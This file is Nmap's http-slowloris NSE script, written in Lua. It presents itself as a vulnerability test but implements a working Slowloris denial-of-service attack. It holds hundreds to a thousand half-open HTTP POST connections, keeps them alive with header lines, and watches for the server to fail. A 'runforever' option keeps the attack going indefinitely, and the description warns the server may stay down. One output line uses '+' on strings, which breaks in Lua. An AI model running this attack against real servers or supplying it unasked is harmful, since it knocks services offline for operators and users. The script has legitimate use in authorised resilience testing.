local shortport = require "shortport"
local stdnse = require "stdnse"
local http = require "http"
local comm = require "comm"
description = [[
Tests a web server for vulnerability to the Slowloris DoS attack.
Slowloris was described at Defcon 17 by RSnake
(see http://ha.ckers.org/slowloris/).
This script opens and maintains numerous 'half-HTTP' connections until
the server runs out of ressources, leading to a denial of service. When
a successful DoS is detected, the script stops the attack and returns
these pieces of information (which may be useful to tweak further
filtering rules):
* Time taken until DoS
* Number of sockets used
* Number of queries sent
By default the script runs for 30 minutes if DoS is not achieved. 
Please note that the number of concurrent connexions must be defined
with the --max-parallelism option (default is 20, suggested
is 400 or more) Also, be advised that in some cases this attack can
bring the web server down for good, not only while the attack is
running.
Also, due to OS limitations, the script is unlikely to work 
when run from Windows.
]]
---
-- @usage
-- nmap --script http-slowloris --max-parallelism 400  
--
-- @args http-slowloris.timeout Time to wait before sending new http header datas
-- in order to maintain the connection. Defaults to 100 seconds.
-- @args http-slowloris.runforever Specify that the script should continue the attack forever.
-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 minutes default). 
--
-- @output
-- PORT     STATE SERVICE REASON  VERSION
-- 80/tcp   open  http    syn-ack Apache httpd 2.2.20 ((Ubuntu))
-- | http-slowloris: 
-- |   Vulnerable:
-- |   the DoS attack took +2m22s
-- |   with 501 concurrent connections
-- |_  and 441 sent queries
author = "Aleksandar Nikolic, Ange Gutek"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"dos", "intrusive"}
portrule = shortport.http
local runforever =  stdnse.get_script_args('http-slowloris.runforever') or nil
-- get time (in miliseconds) when the script should finish
local function get_end_time()
	local t = nmap.timing_level()
	local limit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or "30m")
	local end_time  = 1000 * limit + nmap.clock_ms()
	return end_time 
end
local thread_count = 0 -- this will save the amount of still connected threads
local sockets = 0 -- the maximum amount of sockets during the attack. This could be lower than the requested concurrent connections because of the webserver configuration (eg maxClients on Apache)
local queries = 0 -- this will save the amount of new lines sent to the half-http requests until the target runs out of ressources
local server_notice  
local dosed = false
local stop_all = false
local reason = "slowloris" -- DoSed due to slowloris attack or something else
local bestopt
local doHalfhttp = function(host,port,obj)    
	local condvar = nmap.condvar(obj)
	local get_uri = math.random(100000, 900000) -- we will query a random page
	
	if stop_all then
		condvar "signal"
		return
	end
	
	-- create socket
	local slowloris = nmap.new_socket()
	slowloris:set_timeout(200 * 1000) -- set a long timeout so our socked doesn't timeout while it's waiting
	
	thread_count = thread_count + 1 
	local catch = function()
		-- this connection is now dead
		thread_count = thread_count - 1
		stdnse.print_debug("HALF_HTTP: lost connection")
		slowloris:close()
		slowloris = nil
		condvar "signal"
	end
 
	local try = nmap.new_try(catch)
	try(slowloris:connect(host.ip, port,bestopt))
	-- Build a half-http header.
	local half_http =   "POST /"..get_uri.." HTTP/1.1\r\n"
	half_http = half_http.."Host: "..host.ip.."\r\n"
	half_http = half_http.."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
	half_http = half_http.."Content-Length: 42\r\n"
	try(slowloris:send(half_http))
	server_notice = " (attack against "..host.ip.."): HTTP stream started."
	-- during the attack some connections will die and other will respawn. Here we keep in mind the maximum concurrent connections reached.
	if sockets <= thread_count then sockets = thread_count end
	local feed_interval = stdnse.get_script_args("http-slowloris.timeout")
	if feed_interval == nil then feed_interval = 100 end
	-- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
	while true do
		if stop_all then
			break
		end
		stdnse.sleep(feed_interval)
		try(slowloris:send("X-a: b\r\n"))
		server_notice = " (attack against "..host.ip.."): Feeding HTTP stream..."
		queries = queries + 1
		server_notice = server_notice .. "\n(attack against "..host.ip.."): "..queries.." queries sent using "..thread_count.." connections." 
	end
	slowloris:close()
	thread_count = thread_count - 1
	condvar "signal"
end
-- Monitor the web server 
local doMonitor = function(host,port)
	
	local general_faults = 0
	local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
	stdnse.print_debug("MONITOR: Monitoring " ..host.ip.. " started")
	local request = "GET / HTTP/1.1\r\nHost: "..host.ip 
		  .."\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
	local monitor, line
	local opts = {}
	monitor, line, bestopt = comm.tryssl(host,port,"GET / \r\n\r\n",opts) -- first determine if we need ssl
	
	while not stop_all do
		monitor = nmap.new_socket()
		local status  = monitor:connect(host.ip, port,bestopt)
		if not status then
			general_faults = general_faults + 1
			if general_faults > 3 then
				reason = "not-slowloris"
				dosed = true
				break 
			end
		else 
			status = monitor:send(request)
			if not status then 
				general_faults = general_faults + 1
				if general_faults > 3 then
					reason = "not-slowloris"
					dosed = true
					break 
				end
			end
			status, data = monitor:receive_lines(1)
			if not status then
				stdnse.print_debug("MONITOR: Didn't get a reply from " .. host.ip  .. "." )
				monitor:close()
				request_faults = request_faults +1
				if request_faults > 3 then
					if runforever == nil then
						stdnse.print_debug("MONITOR: server " .. host.ip .. "is now unavailable. The attack worked.")
						dosed = true
					end
					monitor:close()
					break
				end
			else
				request_faults = 0
				general_faults = 0
				stdnse.print_debug("MONITOR: "..host.ip.." still up, answer received." )
				stdnse.sleep(10)
				monitor:close()
			end
			if stop_all then
				break
			end
		end
	end
end
	  
local mutex = nmap.mutex("http-slowloris")
local threads = {}
local worker_schedluer = function(host, port)
	local obj = {}
	local condvar = nmap.condvar(obj)
	local i
	for i=1,1000 do -- The real amount of sockets is triggered by the --max-parallelism option. The remaining threads will replace dead sockets during the attack
		local co = stdnse.new_thread(doHalfhttp, host, port,obj)
		threads[co] = true
	end
	
	while not dosed and not stop_all do -- keep creating new threads, in case we want to run the attack indefinitely
		repeat
		condvar "wait"
		if stop_all then
			return
		end
		for thread in pairs(threads) do
			if coroutine.status(thread) == "dead" then 
				threads[thread] = nil 
			end
		end
		stdnse.print_debug("starting new thread")
		local co = stdnse.new_thread(doHalfhttp, host, port,obj)
		threads[co] = true		
		until next(threads) == nil;
	end
end
action = function(host, port)
	mutex "lock" -- we want only one slowloris instance running at a single time even if multiple hosts are specified
				 -- in order to have as many sockets as we can available to this script
	local output={}
	local start,stop,dos_time
	start = os.date("!*t")
	-- The first thread is for monitoring and is launched before the attack threads
	local mon = stdnse.new_thread(doMonitor, host, port)
	stdnse.sleep(2) -- let the monitor make the first request
	
	stdnse.print_debug("MAIN THREAD: starting schedluer")
	local sched = stdnse.new_thread(worker_schedluer, host, port)
    local end_time = get_end_time()
	local last_message
	if not (runforever == nil) then
		stdnse.print_debug("RUNNING FOREVER")
	end
      -- return a live notice from time to time	
	while (nmap.clock_ms() < end_time or not (runforever == nil)) and not stop_all do
		if server_notice ~= last_message then -- don't flood the output by repeating the same info 
			stdnse.print_debug("MAIN THREAD: " .. server_notice)
			last_message = server_notice
		end
		if dosed and runforever == nil then
			break
		end
		stdnse.sleep(10)
	end
	stop = os.date("!*t")
	dos_time = stdnse.format_difftime(stop,start)
	stop_all = true
	if dosed then 
		if reason == "slowloris" then
			stdnse.print_debug(2, "%s: Slowloris Attack stopped, building output", SCRIPT_NAME)
			output = "Vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries"
		else
			stdnse.print_debug(2, "%s: Slowloris Attack stopped. Monitor couldn't communicate with the server.", SCRIPT_NAME)
			output = "Probably vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries"
			output = output + "Monitoring thread couldn't communicate with the server. This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
		end
		mutex "done" -- release the mutex
		return stdnse.format_output(true, output)
	end
	mutex "done" -- release the mutex			
	return false
end